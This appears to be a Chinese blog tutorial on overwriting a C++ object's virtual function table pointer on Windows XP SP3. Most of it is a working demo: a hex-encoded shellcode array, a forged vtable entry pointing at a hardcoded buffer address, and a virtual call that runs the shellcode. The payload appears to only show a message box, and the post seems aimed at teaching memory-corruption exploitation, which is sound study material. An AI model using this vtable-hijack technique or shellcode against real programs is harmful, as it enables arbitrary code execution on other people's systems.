要去看埃菲尔铁塔的顶
欢迎关注本人微博:t.cn/RGSLVUk
覆盖虚函数指针 [Win XP Sp3 下测试通过]
前提: C++中 如果class中出现virtual 声明的函数,则编译器会在每个该Class的实例化对象首地址空出一个4字节区域 存放 Vtable地址,Vtable存放所有该类的虚函数地址,大体如下
class
-----------
其他属性
*----------*
指向Vt
------------ 低地址
虚函数表Vt
------------
Virtual Func1 - > Func1()
------------
Virtual Func2 - > Func2()
------------
.............
------------
Virtual FuncN
------------
攻击思路:
此时会发现对象首地址是存放虚函数表的指针,通过覆盖这个数据,可以伪造一个假的虚函数入口。
0x01先覆盖那个 Virtual FuncN 为 假的虚函数表
0x02假的的虚函数表来了
------------
我是shellcode地址 -> 虚函数调用的话 就会到这个shellcode地址
-------------
其实这里我不关注
-------------
演示程序:
#include "iostream"
using namespace std;
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x84\x95\x43\x00"; //注意这里四个字节 写shellcode地址
class B4yl
{
public:
char buf[200];
public:
virtual void test()
{
cout << "Vtable" << endl;
}
};
B4yl test, *p;
// 攻击方式 覆盖 指向Vtable的指针
// 在假的Vtable写入shellcode地址
int main(int argc, char* argv[])
{
void (B4yl::*fp)();
fp = &B4yl::test;
char* pv_table;
pv_table = test.buf - 4;//虚函数表?
printf("-> Vtablle 0x%X\n",pv_table);
printf("-> Vtablle 0x%X\n",* ((int *)pv_table));//函数地址
printf("-> BUFFER 0x%X\n",(int*)(test.buf));
//();
typedef void (*fq)();
pv_table[0] = 0x34; // offset buf + 176 此时该地址写shellcode地址
pv_table[1] = 0x96;
pv_table[2] = 0x43;
pv_table[3] = 0x00;
strcpy(test.buf,shellcode);
printf("-> BUFFER 0x%X\n", (int*)(test.buf+176));
p = &test;
p->test();
return 0;
}